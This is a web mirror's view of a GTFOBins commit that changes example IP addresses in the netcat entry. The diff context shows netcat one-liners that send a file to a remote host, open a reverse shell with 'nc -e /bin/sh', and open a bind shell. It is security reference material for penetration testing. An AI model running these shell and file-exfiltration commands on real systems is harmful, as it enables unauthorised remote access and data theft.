mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Use the same IP for examples
This commit is contained in:
parent
dc9f4ff42c
commit
4303bf854b
@ -9,7 +9,7 @@ functions:
|
|||||||
LFILE=file_to_send
|
LFILE=file_to_send
|
||||||
nc $RHOST $RPORT < "$LFILE"
|
nc $RHOST $RPORT < "$LFILE"
|
||||||
download:
|
download:
|
||||||
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.2 8000 < "file_to_send"` to send the file from the other end.
|
- description: Fetch remote file from a remote TCP port. Run `nc 10.0.0.1 8000 < "file_to_send"` to send the file from the other end.
|
||||||
code: |-
|
code: |-
|
||||||
LPORT=8000
|
LPORT=8000
|
||||||
LFILE=where_to_save
|
LFILE=where_to_save
|
||||||
@ -21,7 +21,7 @@ functions:
|
|||||||
RPORT=8000
|
RPORT=8000
|
||||||
nc -e /bin/sh $RHOST $RPORT
|
nc -e /bin/sh $RHOST $RPORT
|
||||||
bind-shell:
|
bind-shell:
|
||||||
- description: Run `nc 10.0.0.2 8000` to connect to the shell on the other end.
|
- description: Run `nc 10.0.0.1 8000` to connect to the shell on the other end.
|
||||||
code: |
|
code: |
|
||||||
LPORT=8000
|
LPORT=8000
|
||||||
nc -l -p $LPORT -e /bin/sh
|
nc -l -p $LPORT -e /bin/sh
|
||||||
|
Loading…
Reference in New Issue
Block a user